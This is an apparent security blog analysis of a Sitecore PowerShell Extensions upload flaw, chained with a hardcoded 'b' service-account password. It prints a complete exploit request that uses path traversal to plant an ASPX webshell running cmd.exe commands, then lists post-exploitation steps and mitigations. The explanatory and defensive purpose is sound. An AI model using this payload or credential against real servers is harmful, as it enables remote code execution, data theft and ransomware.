Sitecore SPE: When 'b' Equals Pwned - Analyzing CVE-2025-34511

Sitecore is the enterprise CMS of choice for organizations that have more budget than they know what to do with. To manage these sprawling monoliths, administrators often turn to the Sitecore PowerShell Extensions (SPE) module. It’s a powerful tool that brings the automation of PowerShell into the web context. It's essentially a remote administration terminal baked right into your web server.

But here is the golden rule of web security: If you build a feature that executes code or handles files, someone will try to use it to execute their code.

CVE-2025-34511 is a textbook implementation of this rule. It resides in a legacy upload handler designed to let admins push scripts and files to the server. Unfortunately, the developers seemingly forgot that "validating the file extension" is a step you shouldn't skip when accepting files on an IIS server. This isn't just a bug; it's an open door waiting for a gentle push.

The vulnerability lives in a specific endpoint: /sitecore modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx. This component is designed to handle multipart/form-data POST requests to upload files into the Sitecore media library or file system.

In a secure world, a file upload handler performs a rigid dance: it checks the extension against an allowlist, it verifies the magic bytes to ensure the content matches the extension, and it renames the file to a random hash to prevent directory traversal or overwrites. SPE did none of this.

Instead, the logic roughly amounted to: "You have a session cookie? Great. Here is the file system." The handler accepts the filename provided by the user in the Content-Disposition header. If you tell it you are uploading shell.aspx, it happily writes shell.aspx to the web root. Since Sitecore runs on IIS/ASP.NET, any file ending in .aspx is treated as executable code. By failing to sanitize the filename or restrict dangerous extensions, the application effectively grants the uploader the ability to write their own endpoints.

You might be thinking, "But wait, the CVSS vector says PR:L (Low Privileges Required). Surely I'm safe if I have strong passwords?" This is where the story turns from a tragedy into a dark comedy.

While CVE-2025-34511 technically requires an authenticated session, the watchTowr Labs team discovered a companion vulnerability, CVE-2025-34509. It turns out that a specific service account, sitecore\ServicesAPI (and sometimes sitecore\PowerShellExtensionsAPI), was shipped with a hardcoded password.

That password was the letter 'b'.

Yes. Just 'b'.

So, the attack chain becomes trivial. The attacker doesn't need to phish an admin or brute force a complex password. they just log in with b, get a valid session cookie, and then use that session to hit the vulnerable upload endpoint. It transforms a post-auth vulnerability into a pre-auth RCE nightmare.

Let's walk through the exact steps an attacker takes to compromise the server. This has already been weaponized in Metasploit, so script kiddies are likely already scanning for it.

1. Authentication: The attacker sends a login request to the Sitecore backend using sitecore\ServicesAPI and password b. The server responds with an authentication cookie.
2. Payload Preparation: The attacker crafts a malicious ASPX file. This is usually a simple webshell that takes a query parameter and passes it to cmd.exe or PowerShell.
3. The Upload: The attacker sends a POST request to PowerShellUploadFile2.aspx. The payload looks like this:

POST /sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx?hdl=12345 HTTP/1.1
Host: target.com
Cookie: [Session Cookies obtained via 'b']
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
 
------WebKitFormBoundary
Content-Disposition: form-data; name="ItemUri"
 
/sitecore/media library
------WebKitFormBoundary
Content-Disposition: form-data; name="files[]"; filename="../../../../inetpub/wwwroot/pwned.aspx"
Content-Type: text/plain
 
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]); %>
------WebKitFormBoundary--

4. Execution: The server saves pwned.aspx. The attacker navigates to https://target.com/pwned.aspx?cmd=whoami and receives iis apppool\sitecore in response. Game over.

Once the attacker has RCE via the ASPX shell, they are running as the IIS Worker Process. In Sitecore environments, this account is often over-privileged to handle file system operations and database connections.

From here, the attacker can:

• Read web.config: Extract cleartext or encrypted database connection strings.
• Exfiltrate Data: Dump the entire Customer Experience (CX) database, including PII.
• Lateral Movement: If the server is domain-joined (it usually is), they can attempt to escalate privileges to Domain Admin using tools like RottenPotato or PrintSpoofer.
• Ransomware: Encrypt the web root and database, taking the site offline.

Since Sitecore is often used for high-profile public-facing sites, the reputational damage is immediate and catastrophic.

Mitigation requires a two-pronged approach: fixing the code and fixing the configuration.

1. Update Sitecore PowerShell Extensions: Upgrade to SPE version 7.1 or later immediately. This version introduces strict file extension allowlisting and removes the unrestricted upload capability.

2. Rotate Credentials: Even if you patch the upload flaw, the hardcoded 'b' password (CVE-2025-34509) leaves you vulnerable to other attacks. You must change the password for sitecore\ServicesAPI and sitecore\PowerShellExtensionsAPI to a strong, random string.

3. Hardening: As a defense-in-depth measure, restrict access to /sitecore modules/ to trusted IP addresses (VPN/Internal) using IIS IP Address and Domain Restrictions. The administrative interface should never be exposed to the naked internet.